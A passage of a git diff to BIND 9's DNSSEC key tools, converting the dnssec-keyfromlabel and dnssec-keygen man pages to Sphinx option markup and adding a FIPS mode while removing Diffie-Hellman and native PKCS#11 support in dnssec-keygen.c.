+.. option:: -3
 
-``-3``
    This option uses an NSEC3-capable algorithm to generate a DNSSEC key. If this
    option is used with an algorithm that has both NSEC and NSEC3
    versions, then the NSEC3 version is used; for example,
    ``dnssec-keygen -3a RSASHA1`` specifies the NSEC3RSASHA1 algorithm.
 
-``-E engine``
+.. option:: -E engine
+
    This option specifies the cryptographic hardware to use.
 
    When BIND 9 is built with OpenSSL, this needs to be set to the OpenSSL
    engine identifier that drives the cryptographic accelerator or
-   hardware service module (usually ``pkcs11``). When BIND is
-   built with native PKCS#11 cryptography (``--enable-native-pkcs11``), it
-   defaults to the path of the PKCS#11 provider library specified via
-   ``--with-pkcs11``.
+   hardware service module (usually ``pkcs11``).
+
+.. option:: -l label
 
-``-l label``
    This option specifies the label for a key pair in the crypto hardware.
 
    When BIND 9 is built with OpenSSL-based PKCS#11 support, the label is
@@ -91,71 +80,67 @@ Options
    preceded by an optional OpenSSL engine name, followed by a colon, as
    in ``pkcs11:keylabel``.
 
-   When BIND 9 is built with native PKCS#11 support, the label is a
-   PKCS#11 URI string in the format
-   ``pkcs11:keyword\ =value[;\ keyword\ =value;...]``. Keywords
-   include ``token``, which identifies the HSM; ``object``, which identifies
-   the key; and ``pin-source``, which identifies a file from which the
-   HSM's PIN code can be obtained. The label is stored in the
-   on-disk ``private`` file.
-
-   If the label contains a ``pin-source`` field, tools using the
-   generated key files are able to use the HSM for signing and other
-   operations without any need for an operator to manually enter a PIN.
-   Note: Making the HSM's PIN accessible in this manner may reduce the
-   security advantage of using an HSM; use caution
-   with this feature.
-
-``-n nametype``
+.. option:: -n nametype
+
    This option specifies the owner type of the key. The value of ``nametype`` must
    either be ZONE (for a DNSSEC zone key (KEY/DNSKEY)), HOST or ENTITY
    (for a key associated with a host (KEY)), USER (for a key associated
    with a user (KEY)), or OTHER (DNSKEY). These values are
    case-insensitive.
 
-``-C``
+.. option:: -C
+
    This option enables compatibility mode, which generates an old-style key, without any metadata.
-   By default, ``dnssec-keyfromlabel`` includes the key's creation
+   By default, :program:`dnssec-keyfromlabel` includes the key's creation
    date in the metadata stored with the private key; other dates may
    be set there as well, including publication date, activation date, etc. Keys
    that include this data may be incompatible with older versions of
-   BIND; the ``-C`` option suppresses them.
+   BIND; the :option:`-C` option suppresses them.
+
+.. option:: -c class
 
-``-c class``
    This option indicates that the DNS record containing the key should have the
    specified class. If not specified, class IN is used.
 
-``-f flag``
+.. option:: -f flag
+
    This option sets the specified flag in the ``flag`` field of the KEY/DNSKEY record.
    The only recognized flags are KSK (Key-Signing Key) and REVOKE.
 
-``-G``
+.. option:: -G
+
    This option generates a key, but does not publish it or sign with it. This option is
-   incompatible with ``-P`` and ``-A``.
+   incompatible with :option:`-P` and :option:`-A`.
+
+.. option:: -h
 
-``-h``
    This option prints a short summary of the options and arguments to
-   ``dnssec-keyfromlabel``.
+   :program:`dnssec-keyfromlabel`.
+
+.. option:: -K directory
 
-``-K directory``
    This option sets the directory in which the key files are to be written.
 
-``-k``
+.. option:: -k
+
    This option generates KEY records rather than DNSKEY records.
 
-``-L`` ttl
+.. option:: -L ttl
+
    This option sets the default TTL to use for this key when it is converted into a
    DNSKEY RR. This is the TTL used when the key is imported into a zone,
    unless there was already a DNSKEY RRset in
    place, in which case the existing TTL would take precedence. Setting
    the default TTL to ``0`` or ``none`` removes it.
 
-``-p protocol``
+.. option:: -p protocol
+
    This option sets the protocol value for the key. The protocol is a number between
    0 and 255. The default is 3 (DNSSEC). Other possible values for this
    argument are listed in :rfc:`2535` and its successors.
 
-``-S key``
+.. option:: -S key
+
    This option generates a key as an explicit successor to an existing key. The name,
    algorithm, size, and type of the key are set to match the
    predecessor. The activation date of the new key is set to the
@@ -163,19 +148,23 @@ Options
    set to the activation date minus the prepublication interval, which
    defaults to 30 days.
 
-``-t type``
+.. option:: -t type
+
    This option indicates the type of the key. ``type`` must be one of AUTHCONF,
    NOAUTHCONF, NOAUTH, or NOCONF. The default is AUTHCONF. AUTH refers
    to the ability to authenticate data, and CONF to the ability to encrypt
    data.
 
-``-v level``
+.. option:: -v level
+
    This option sets the debugging level.
 
-``-V``
+.. option:: -V
+
    This option prints version information.
 
-``-y``
+.. option:: -y
+
    This option allows DNSSEC key files to be generated even if the key ID would
    collide with that of an existing key, in the event of either key
    being revoked. (This is only safe to enable if
@@ -185,50 +174,74 @@ Options
 Timing Options
 ~~~~~~~~~~~~~~
 
-Dates can be expressed in the format YYYYMMDD or YYYYMMDDHHMMSS. If the
-argument begins with a ``+`` or ``-``, it is interpreted as an offset from
-the present time. For convenience, if such an offset is followed by one
-of the suffixes ``y``, ``mo``, ``w``, ``d``, ``h``, or ``mi``, then the offset is
-computed in years (defined as 365 24-hour days, ignoring leap years),
-months (defined as 30 24-hour days), weeks, days, hours, or minutes,
-respectively. Without a suffix, the offset is computed in seconds. To
-explicitly prevent a date from being set, use ``none`` or ``never``.
+Dates can be expressed in the format YYYYMMDD or YYYYMMDDHHMMSS
+(which is the format used inside key files),
+or 'Day Mon DD HH:MM:SS YYYY' (as printed by ``dnssec-settime -p``),
+or UNIX epoch time (as printed by ``dnssec-settime -up``),
+or the literal ``now``.
+
+The argument can be followed by ``+`` or ``-`` and an offset from the
+given time. The literal ``now`` can be omitted before an offset. The
+offset can be followed by one of the suffixes ``y``, ``mo``, ``w``,
+``d``, ``h``, or ``mi``, so that it is computed in years (defined as
+365 24-hour days, ignoring leap years), months (defined as 30 24-hour
+days), weeks, days, hours, or minutes, respectively. Without a suffix,
+the offset is computed in seconds.
+
+To explicitly prevent a date from being set, use ``none``, ``never``,
+or ``unset``.
+
+All these formats are case-insensitive.
+
+.. option:: -P date/offset
 
-``-P date/offset``
    This option sets the date on which a key is to be published to the zone. After
    that date, the key is included in the zone but is not used
-   to sign it. If not set, and if the ``-G`` option has not been used, the
+   to sign it. If not set, and if the :option:`-G` option has not been used, the
    default is the current date.
 
-``-P sync date/offset``
-   This option sets the date on which CDS and CDNSKEY records that match this key
-   are to be published to the zone.
+   .. program:: dnssec-keyfromlabel -P
+   .. option:: sync date/offset
+
+      This option sets the date on which CDS and CDNSKEY records that match this key
+      are to be published to the zone.
+
+.. program:: dnssec-keyfromlabel
+
+.. option:: -A date/offset
 
-``-A date/offset``
    This option sets the date on which the key is to be activated. After that date,
    the key is included in the zone and used to sign it. If not set,
-   and if the ``-G`` option has not been used, the default is the current date.
+   and if the :option:`-G` option has not been used, the default is the current date.
+
+.. option:: -R date/offset
 
-``-R date/offset``
    This option sets the date on which the key is to be revoked. After that date, the
    key is flagged as revoked. It is included in the zone and
    is used to sign it.
 
-``-I date/offset``
+.. option:: -I date/offset
+
    This option sets the date on which the key is to be retired. After that date, the
    key is still included in the zone, but it is not used to
    sign it.
 
-``-D date/offset``
+.. option:: -D date/offset
+
    This option sets the date on which the key is to be deleted. After that date, the
    key is no longer included in the zone. (However, it may remain in the key
    repository.)
 
-``-D sync date/offset``
-   This option sets the date on which the CDS and CDNSKEY records that match this
-   key are to be deleted.
+   .. program:: dnssec-keyfromlabel -D
+   .. option:: sync date/offset
+
+      This option sets the date on which the CDS and CDNSKEY records that match this
+      key are to be deleted.
+
+.. program:: dnssec-keyfromlabel
+
+.. option:: -i interval
 
-``-i interval``
    This option sets the prepublication interval for a key. If set, then the
    publication and activation dates must be separated by at least this
    much time. If the activation date is specified but the publication
@@ -249,7 +262,7 @@ explicitly prevent a date from being set, use ``none`` or ``never``.
 Generated Key Files
 ~~~~~~~~~~~~~~~~~~~
 
-When ``dnssec-keyfromlabel`` completes successfully, it prints a string
+When :program:`dnssec-keyfromlabel` completes successfully, it prints a string
 of the form ``Knnnn.+aaa+iiiii`` to the standard output. This is an
 identification string for the key files it has generated.
 
@@ -259,7 +272,7 @@ identification string for the key files it has generated.
 
 -  ``iiiii`` is the key identifier (or footprint).
 
-``dnssec-keyfromlabel`` creates two files, with names based on the
+:program:`dnssec-keyfromlabel` creates two files, with names based on the
 printed string. ``Knnnn.+aaa+iiiii.key`` contains the public key, and
 ``Knnnn.+aaa+iiiii.private`` contains the private key.
 
@@ -272,5 +285,5 @@ security reasons, this file does not have general read permission.
 See Also
 ~~~~~~~~
 
-:manpage:`dnssec-keygen(8)`, :manpage:`dnssec-signzone(8)`, BIND 9 Administrator Reference Manual,
+:iscman:`dnssec-keygen(8) <dnssec-keygen>`, :iscman:`dnssec-signzone(8) <dnssec-signzone>`, BIND 9 Administrator Reference Manual,
 :rfc:`4034`, :rfc:`7512`.
diff --git a/bin/dnssec/dnssec-keygen.c b/bin/dnssec/dnssec-keygen.c
index 7b448bf7c0..85757b24fa 100644
--- a/bin/dnssec/dnssec-keygen.c
+++ b/bin/dnssec/dnssec-keygen.c
@@ -1,6 +1,8 @@
 /*
  * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -31,17 +33,18 @@
 #include <stdlib.h>
 #include <unistd.h>
 
+#include <openssl/opensslv.h>
+
 #include <isc/attributes.h>
 #include <isc/buffer.h>
 #include <isc/commandline.h>
+#include <isc/fips.h>
 #include <isc/mem.h>
-#include <isc/print.h>
 #include <isc/region.h>
+#include <isc/result.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
-#include <pk11/site.h>
-
 #include <dns/dnssec.h>
 #include <dns/fixedname.h>
 #include <dns/kasp.h>
@@ -49,7 +52,6 @@
 #include <dns/log.h>
 #include <dns/name.h>
 #include <dns/rdataclass.h>
-#include <dns/result.h>
 #include <dns/secalg.h>
 
 #include <dst/dst.h>
@@ -58,20 +60,28 @@
 #include <isccfg/grammar.h>
 #include <isccfg/kaspconf.h>
 #include <isccfg/namedconf.h>
-
-#if USE_PKCS11
-#include <pk11/result.h>
-#endif /* if USE_PKCS11 */
+#if OPENSSL_VERSION_NUMBER >= 0x30000000L && OPENSSL_API_LEVEL >= 30000
+#include <openssl/err.h>
+#include <openssl/provider.h>
+#endif
 
 #include "dnssectool.h"
 
 #define MAX_RSA 4096 /* should be long enough... */
+#define MAX_DH	4096 /* should be long enough... */
 
 const char *program = "dnssec-keygen";
 
+/*
+ * These are are set here for backwards compatibility.  They are
+ * raised to 2048 in FIPS mode.
+ */
+static int min_rsa = 1024;
+static int min_dh = 128;
+
 isc_log_t *lctx = NULL;
 
-ISC_NORETURN static void
+noreturn static void
 usage(void);
 
 static void
@@ -85,7 +95,6 @@ struct keygen_ctx {
 	char *algname;
 	char *nametype;
 	char *type;
-	int generator;
 	int protocol;
 	int size;
 	int signatory;
@@ -145,19 +154,25 @@ usage(void) {
 	fprintf(stderr, "    -l <file>: configuration file with dnssec-policy "
 			"statement\n");
 	fprintf(stderr, "    -a <algorithm>:\n");
-	fprintf(stderr, "        RSASHA1 | NSEC3RSASHA1 |\n");
+	if (!isc_fips_mode()) {
+		fprintf(stderr, "        RSASHA1 | NSEC3RSASHA1 |\n");
+	}
 	fprintf(stderr, "        RSASHA256 | RSASHA512 |\n");
 	fprintf(stderr, "        ECDSAP256SHA256 | ECDSAP384SHA384 |\n");
+	fprintf(stderr, "        ED25519 | ED448\n");
 	fprintf(stderr, "        ED25519 | ED448 | DH\n");
 	fprintf(stderr, "        FALCON512 | DILITHIUM2 |\n");
 	fprintf(stderr, "        SPHINCS+-SHA256-128S\n");
 	fprintf(stderr, "    -3: use NSEC3-capable algorithm\n");
 	fprintf(stderr, "    -b <key size in bits>:\n");
-	fprintf(stderr, "        RSASHA1:\t[1024..%d]\n", MAX_RSA);
-	fprintf(stderr, "        NSEC3RSASHA1:\t[1024..%d]\n", MAX_RSA);
-	fprintf(stderr, "        RSASHA256:\t[1024..%d]\n", MAX_RSA);
-	fprintf(stderr, "        RSASHA512:\t[1024..%d]\n", MAX_RSA);
-	fprintf(stderr, "        DH:\t\t[128..4096]\n");
+	if (!isc_fips_mode()) {
+		fprintf(stderr, "        RSASHA1:\t[%d..%d]\n", min_rsa,
+			MAX_RSA);
+		fprintf(stderr, "        NSEC3RSASHA1:\t[%d..%d]\n", min_rsa,
+			MAX_RSA);
+	}
+	fprintf(stderr, "        RSASHA256:\t[%d..%d]\n", min_rsa, MAX_RSA);
+	fprintf(stderr, "        RSASHA512:\t[%d..%d]\n", min_rsa, MAX_RSA);
 	fprintf(stderr, "        ECDSAP256SHA256:\tignored\n");
 	fprintf(stderr, "        ECDSAP384SHA384:\tignored\n");
 	fprintf(stderr, "        ED25519:\tignored\n");
@@ -173,17 +188,9 @@ usage(void) {
 	fprintf(stderr, "    -c <class>: (default: IN)\n");
 	fprintf(stderr, "    -d <digest bits> (0 => max, default)\n");
 	fprintf(stderr, "    -E <engine>:\n");
-#if USE_PKCS11
-	fprintf(stderr,
-		"        path to PKCS#11 provider library "
-		"(default is %s)\n",
-		PK11_LIB_LOCATION);
-#else  /* if USE_PKCS11 */
 	fprintf(stderr, "        name of an OpenSSL engine to use\n");
-#endif /* if USE_PKCS11 */
 	fprintf(stderr, "    -f <keyflag>: KSK | REVOKE\n");
-	fprintf(stderr, "    -g <generator>: use specified generator "
-			"(DH only)\n");
+	fprintf(stderr, "    -F: FIPS mode\n");
 	fprintf(stderr, "    -L <ttl>: default key TTL\n");
 	fprintf(stderr, "    -p <protocol>: (default: 3 [dnssec])\n");
 	fprintf(stderr, "    -s <strength>: strength value this key signs DNS "
@@ -270,11 +277,12 @@ kasp_from_conf(cfg_obj_t *config, isc_mem_t *mctx, const char *name,
 		cfg_obj_t *kconfig = cfg_listelt_value(element);
 		kasp = NULL;
 		if (strcmp(cfg_obj_asstring(cfg_tuple_get(kconfig, "name")),
-			   name) != 0) {
+			   name) != 0)
+		{
 			continue;
 		}
 
-		result = cfg_kasp_fromconfig(kconfig, NULL, mctx, lctx,
+		result = cfg_kasp_fromconfig(kconfig, NULL, true, mctx, lctx,
 					     &kasplist, &kasp);
 		if (result != ISC_R_SUCCESS) {
 			fatal("failed to configure dnssec-policy '%s': %s",
@@ -336,8 +344,15 @@ keygen(keygen_ctx_t *ctx, isc_mem_t *mctx, int argc, char **argv) {
 			fatal("unsupported algorithm: %s", algstr);
 		}
 
-		if (ctx->alg == DST_ALG_DH) {
-			ctx->options |= DST_TYPE_KEY;
+		if (isc_fips_mode()) {
+			/* verify only in FIPS mode */
+			switch (ctx->alg) {
+			case DST_ALG_RSASHA1:
+			case DST_ALG_NSEC3RSASHA1:
+				fatal("unsupported algorithm: %s", algstr);
+			default:
+				break;
+			}
 		}
 
 		if (ctx->use_nsec3) {
@@ -382,6 +397,11 @@ keygen(keygen_ctx_t *ctx, isc_mem_t *mctx, int argc, char **argv) {
 			switch (ctx->alg) {
 			case DST_ALG_RSASHA1:
 			case DST_ALG_NSEC3RSASHA1:
+				if (isc_fips_mode()) {
+					fatal("key size not specified (-b "
+					      "option)");
+				}
+				FALLTHROUGH;
 			case DST_ALG_RSASHA256:
 			case DST_ALG_RSASHA512:
 				ctx->size = 2048;
@@ -408,7 +428,8 @@ keygen(keygen_ctx_t *ctx, isc_mem_t *mctx, int argc, char **argv) {
 
 		if (!ctx->oldstyle && ctx->prepub > 0) {
 			if (ctx->setpub && ctx->setact &&
-			    (ctx->activate - ctx->prepub) < ctx->publish) {
+			    (ctx->activate - ctx->prepub) < ctx->publish)
+			{
 				fatal("Activation and publication dates "
 				      "are closer together than the\n\t"
 				      "prepublication interval.");
@@ -539,23 +560,18 @@ keygen(keygen_ctx_t *ctx, isc_mem_t *mctx, int argc, char **argv) {
 	switch (ctx->alg) {
 	case DNS_KEYALG_RSASHA1:
 	case DNS_KEYALG_NSEC3RSASHA1:
-	case DNS_KEYALG_RSASHA256:
-		if (ctx->size != 0 && (ctx->size < 1024 || ctx->size > MAX_RSA))
-		{
-			fatal("RSA key size %d out of range", ctx->size);
+		if (isc_fips_mode()) {
+			fatal("SHA1 based keys not supported in FIPS mode");
 		}
-		break;
+		FALLTHROUGH;
+	case DNS_KEYALG_RSASHA256:
 	case DNS_KEYALG_RSASHA512:
-		if (ctx->size != 0 && (ctx->size < 1024 || ctx->size > MAX_RSA))
+		if (ctx->size != 0 &&
+		    (ctx->size < min_rsa || ctx->size > MAX_RSA))
 		{
 			fatal("RSA key size %d out of range", ctx->size);
 		}
 		break;
-	case DNS_KEYALG_DH:
-		if (ctx->size != 0 && (ctx->size < 128 || ctx->size > 4096)) {
-			fatal("DH key size %d out of range", ctx->size);
-		}
-		break;
 	case DST_ALG_ECDSA256:
 		ctx->size = 256;
 		break;
@@ -579,10 +595,6 @@ keygen(keygen_ctx_t *ctx, isc_mem_t *mctx, int argc, char **argv) {
 		break;
 	}
 
-	if (ctx->alg != DNS_KEYALG_DH && ctx->generator != 0) {
-		fatal("specified DH generator for a non-DH key");
-	}
-
 	if (ctx->nametype == NULL) {
 		if ((ctx->options & DST_TYPE_KEY) != 0) { /* KEY */
 			fatal("no nametype specified");
@@ -632,12 +644,6 @@ keygen(keygen_ctx_t *ctx, isc_mem_t *mctx, int argc, char **argv) {
 		}
 	}
 
-	if ((flags & DNS_KEYFLAG_OWNERMASK) == DNS_KEYOWNER_ZONE &&
-	    ctx->alg == DNS_KEYALG_DH)
-	{
-		fatal("a key with algorithm %s cannot be a zone key", algstr);
-	}
-
 	switch (ctx->alg) {
 	case DNS_KEYALG_RSASHA1:
 	case DNS_KEYALG_NSEC3RSASHA1:
@@ -646,10 +652,6 @@ keygen(keygen_ctx_t *ctx, isc_mem_t *mctx, int argc, char **argv) {
 		show_progress = true;
 		break;
 
-	case DNS_KEYALG_DH:
-		param = ctx->generator;
-		break;
-
 	case DST_ALG_ECDSA256:
 	case DST_ALG_ECDSA384:
 	case DST_ALG_ED25519:
@@ -750,7 +752,8 @@ keygen(keygen_ctx_t *ctx, isc_mem_t *mctx, int argc, char **argv) {
 
 			if (ctx->setdel) {
 				if (ctx->setinact &&
-				    ctx->deltime < ctx->inactive) {
+				    ctx->deltime < ctx->inactive)
+				{
 					fprintf(stderr,
 						"%s: warning: Key is "
 						"scheduled to be deleted "
@@ -880,30 +883,30 @@ main(int argc, char **argv) {
 	const char *engine = NULL;
 	unsigned char c;
 	int ch;
+	bool set_fips_mode = false;
+#if OPENSSL_VERSION_NUMBER >= 0x30000000L && OPENSSL_API_LEVEL >= 30000
+	OSSL_PROVIDER *fips = NULL, *base = NULL;
+#endif
 
 	keygen_ctx_t ctx = {
 		.options = DST_TYPE_PRIVATE | DST_TYPE_PUBLIC,
 		.prepub = -1,
 		.protocol = -1,
 		.size = -1,
+		.now = isc_stdtime_now(),
 	};
 
 	if (argc == 1) {
 		usage();
 	}
 
-#if USE_PKCS11
-	pk11_result_register();
-#endif /* if USE_PKCS11 */
-	dns_result_register();
-
 	isc_commandline_errprint = false;
 
 	/*
 	 * Process memory debugging argument first.
 	 */
-#define CMDLINE_FLAGS                                           \
-	"3A:a:b:Cc:D:d:E:eFf:Gg:hI:i:K:k:L:l:m:n:P:p:qR:r:S:s:" \
+#define CMDLINE_FLAGS                                        \
+	"3A:a:b:Cc:D:d:E:Ff:GhI:i:K:k:L:l:m:n:P:p:qR:r:S:s:" \
 	"T:t:v:V"
 	while ((ch = isc_commandline_parse(argc, argv, CMDLINE_FLAGS)) != -1) {
 		switch (ch) {
@@ -920,12 +923,6 @@ main(int argc, char **argv) {
 			{
 				isc_mem_debugging |= ISC_MEM_DEBUGUSAGE;
 			}
-			if (strcasecmp(isc_commandline_argument, "size") == 0) {
-				isc_mem_debugging |= ISC_MEM_DEBUGSIZE;
-			}
-			if (strcasecmp(isc_commandline_argument, "mctx") == 0) {
-				isc_mem_debugging |= ISC_MEM_DEBUGCTX;
-			}
 			break;
 		default:
 			break;
@@ -934,7 +931,6 @@ main(int argc, char **argv) {
 	isc_commandline_reset = true;
 
 	isc_mem_create(&mctx);
-	isc_stdtime_get(&ctx.now);
 
 	while ((ch = isc_commandline_parse(argc, argv, CMDLINE_FLAGS)) != -1) {
 		switch (ch) {
@@ -965,10 +961,6 @@ main(int argc, char **argv) {
 		case 'E':
 			engine = isc_commandline_argument;
 			break;
-		case 'e':
-			fprintf(stderr, "phased-out option -e "
-					"(was 'use (RSA) large exponent')\n");
-			break;
 		case 'f':
 			c = (unsigned char)(isc_commandline_argument[0]);
 			if (toupper(c) == 'K') {
@@ -980,13 +972,6 @@ main(int argc, char **argv) {
 				      isc_commandline_argument);
 			}
 			break;
-		case 'g':
-			ctx.generator = strtol(isc_commandline_argument, &endp,
-					       10);
-			if (*endp != '\0' || ctx.generator <= 0) {
-				fatal("-g requires a positive number");
-			}
-			break;
 		case 'K':
 			ctx.directory = isc_commandline_argument;
 			ret = try_dir(ctx.directory);
@@ -1014,7 +999,8 @@ main(int argc, char **argv) {
 			ctx.protocol = strtol(isc_commandline_argument, &endp,
 					      10);
 			if (*endp != '\0' || ctx.protocol < 0 ||
-			    ctx.protocol > 255) {
+			    ctx.protocol > 255)
+			{
 				fatal("-p must be followed by a number "
 				      "[0..255]");
 			}
@@ -1030,7 +1016,8 @@ main(int argc, char **argv) {
 			ctx.signatory = strtol(isc_commandline_argument, &endp,
 					       10);
 			if (*endp != '\0' || ctx.signatory < 0 ||
-			    ctx.signatory > 15) {
+			    ctx.signatory > 15)
+			{
 				fatal("-s must be followed by a number "
 				      "[0..15]");
 			}
@@ -1141,14 +1128,14 @@ main(int argc, char **argv) {
 			ctx.prepub = strtottl(isc_commandline_argument);
 			break;
 		case 'F':
-		/* Reserved for FIPS mode */
-		/* FALLTHROUGH */
+			set_fips_mode = true;
+			break;
 		case '?':
 			if (isc_commandline_option != '?') {
 				fprintf(stderr, "%s: invalid argument -%c\n",
 					program, isc_commandline_option);
 			}
-		/* FALLTHROUGH */
+			FALLTHROUGH;
 		case 'h':
 			/* Does not return. */
 			usage();
@@ -1168,11 +1155,40 @@ main(int argc, char **argv) {
 		ctx.quiet = true;
 	}
 
+	if (set_fips_mode) {
+#if OPENSSL_VERSION_NUMBER >= 0x30000000L && OPENSSL_API_LEVEL >= 30000
+		fips = OSSL_PROVIDER_load(NULL, "fips");
+		if (fips == NULL) {
+			ERR_clear_error();
+			fatal("Failed to load FIPS provider");
+		}
+		base = OSSL_PROVIDER_load(NULL, "base");
+		if (base == NULL) {
+			OSSL_PROVIDER_unload(fips);
+			ERR_clear_error();
+			fatal("Failed to load base provider");
+		}
+#endif
+		if (!isc_fips_mode()) {
+			if (isc_fips_set_mode(1) != ISC_R_SUCCESS) {
+				fatal("setting FIPS mode failed");
+			}
+		}
+	}
+
 	ret = dst_lib_init(mctx, engine);
 	if (ret != ISC_R_SUCCESS) {
 		fatal("could not initialize dst: %s", isc_result_totext(ret));
 	}
 
+	/*
+	 * After dst_lib_init which will set FIPS mode if requested
+	 * at build time.  The minumums are both raised to 2048.
+	 */
+	if (isc_fips_mode()) {
+		min_rsa = min_dh = 2048;
+	}
+
 	setup_logging(mctx, &lctx);
 
 	ctx.rdclass = strtoclass(classname);
@@ -1312,6 +1328,14 @@ main(int argc, char **argv) {
 	}
 	isc_mem_destroy(&mctx);
 
+#if OPENSSL_VERSION_NUMBER >= 0x30000000L && OPENSSL_API_LEVEL >= 30000
+	if (base != NULL) {
+		OSSL_PROVIDER_unload(base);
+	}
+	if (fips != NULL) {
+		OSSL_PROVIDER_unload(fips);
+	}
+#endif
 	if (freeit != NULL) {
 		free(freeit);
 	}
diff --git a/bin/dnssec/dnssec-keygen.rst b/bin/dnssec/dnssec-keygen.rst
index 31c7b5ae51..121ced4e02 100644
--- a/bin/dnssec/dnssec-keygen.rst
+++ b/bin/dnssec/dnssec-keygen.rst
@@ -1,26 +1,18 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. highlight: console
 
+.. iscman:: dnssec-keygen
+.. program:: dnssec-keygen
 .. _man_dnssec-keygen:
 
 dnssec-keygen: DNSSEC key generation tool
@@ -29,12 +21,12 @@ dnssec-keygen: DNSSEC key generation tool
 Synopsis
 ~~~~~~~~
 
-:program:`dnssec-keygen` [**-3**] [**-A** date/offset] [**-a** algorithm] [**-b** keysize] [**-C**] [**-c** class] [**-D** date/offset] [**-d** bits] [**-D** sync date/offset] [**-E** engine] [**-f** flag] [**-G**] [**-g** generator] [**-h**] [**-I** date/offset] [**-i** interval] [**-K** directory] [**-k** policy] [**-L** ttl] [**-l** file] [**-n** nametype] [**-P** date/offset] [**-P** sync date/offset] [**-p** protocol] [**-q**] [**-R** date/offset] [**-S** key] [**-s** strength] [**-T** rrtype] [**-t** type] [**-V**] [**-v** level] {name}
+:program:`dnssec-keygen` [**-3**] [**-A** date/offset] [**-a** algorithm] [**-b** keysize] [**-C**] [**-c** class] [**-D** date/offset] [**-d** bits] [**-D** sync date/offset] [**-E** engine] [**-f** flag] [**-F**] [**-G**] [**-h**] [**-I** date/offset] [**-i** interval] [**-K** directory] [**-k** policy] [**-L** ttl] [**-l** file] [**-n** nametype] [**-P** date/offset] [**-P** sync date/offset] [**-p** protocol] [**-q**] [**-R** date/offset] [**-S** key] [**-s** strength] [**-T** rrtype] [**-t** type] [**-V**] [**-v** level] {name}
 
 Description
 ~~~~~~~~~~~
 
-``dnssec-keygen`` generates keys for DNSSEC (Secure DNS), as defined in
+:program:`dnssec-keygen` generates keys for DNSSEC (Secure DNS), as defined in
 :rfc:`2535` and :rfc:`4034`. It can also generate keys for use with TSIG
 (Transaction Signatures) as defined in :rfc:`2845`, or TKEY (Transaction
 Key) as defined in :rfc:`2930`.
@@ -46,32 +38,33 @@ generated.
 Options
 ~~~~~~~
 
-``-3``
+.. option:: -3
+
    This option uses an NSEC3-capable algorithm to generate a DNSSEC key. If this
    option is used with an algorithm that has both NSEC and NSEC3
    versions, then the NSEC3 version is selected; for example,
-   ``dnssec-keygen -3a RSASHA1`` specifies the NSEC3RSASHA1 algorithm.
+   ``dnssec-keygen -3 -a RSASHA1`` specifies the NSEC3RSASHA1 algorithm.
+
+.. option:: -a algorithm
 
-``-a algorithm``
    This option selects the cryptographic algorithm. For DNSSEC keys, the value of
    ``algorithm`` must be one of RSASHA1, NSEC3RSASHA1, RSASHA256,
-   RSASHA512, ECDSAP256SHA256, ECDSAP384SHA384, ED25519, or ED448. For
-   TKEY, the value must be DH (Diffie-Hellman); specifying this value
-   automatically sets the ``-T KEY`` option as well.
+   RSASHA512, ECDSAP256SHA256, ECDSAP384SHA384, ED25519, or ED448.
 
    These values are case-insensitive. In some cases, abbreviations are
    supported, such as ECDSA256 for ECDSAP256SHA256 and ECDSA384 for
-   ECDSAP384SHA384. If RSASHA1 is specified along with the ``-3``
+   ECDSAP384SHA384. If RSASHA1 is specified along with the :option:`-3`
    option, NSEC3RSASHA1 is used instead.
 
-   This parameter *must* be specified except when using the ``-S``
+   This parameter *must* be specified except when using the :option:`-S`
    option, which copies the algorithm from the predecessor key.
 
    In prior releases, HMAC algorithms could be generated for use as TSIG
    keys, but that feature was removed in BIND 9.13.0. Use
-   ``tsig-keygen`` to generate TSIG keys.
+   :iscman:`tsig-keygen` to generate TSIG keys.
+
+.. option:: -b keysize
 
-``-b keysize``
    This option specifies the number of bits in the key. The choice of key size
    depends on the algorithm used: RSA keys must be between 1024 and 4096
    bits; Diffie-Hellman keys must be between 128 and 4096 bits. Elliptic
@@ -80,66 +73,74 @@ Options
    If the key size is not specified, some algorithms have pre-defined
    defaults. For example, RSA keys for use as DNSSEC zone-signing keys
    have a default size of 1024 bits; RSA keys for use as key-signing
-   keys (KSKs, generated with ``-f KSK``) default to 2048 bits.
+   keys (KSKs, generated with :option:`-f KSK <-f>`) default to 2048 bits.
+
+.. option:: -C
 
-``-C``
    This option enables compatibility mode, which generates an old-style key, without any timing
-   metadata. By default, ``dnssec-keygen`` includes the key's
+   metadata. By default, :program:`dnssec-keygen` includes the key's
    creation date in the metadata stored with the private key; other
    dates may be set there as well, including publication date, activation date,
    etc. Keys that include this data may be incompatible with older
-   versions of BIND; the ``-C`` option suppresses them.
+   versions of BIND; the :option:`-C` option suppresses them.
+
+.. option:: -c class
 
-``-c class``
    This option indicates that the DNS record containing the key should have the
    specified class. If not specified, class IN is used.
 
-``-d bits``
+.. option:: -d bits
+
    This option specifies the key size in bits. For the algorithms RSASHA1, NSEC3RSASA1, RSASHA256, and
    RSASHA512 the key size must be between 1024 and 4096 bits; DH size is between 128
    and 4096 bits. This option is ignored for algorithms ECDSAP256SHA256,
    ECDSAP384SHA384, ED25519, and ED448.
 
-``-E engine``
+.. option:: -E engine
+
    This option specifies the cryptographic hardware to use, when applicable.
 
    When BIND 9 is built with OpenSSL, this needs to be set to the OpenSSL
    engine identifier that drives the cryptographic accelerator or
-   hardware service module (usually ``pkcs11``). When BIND is
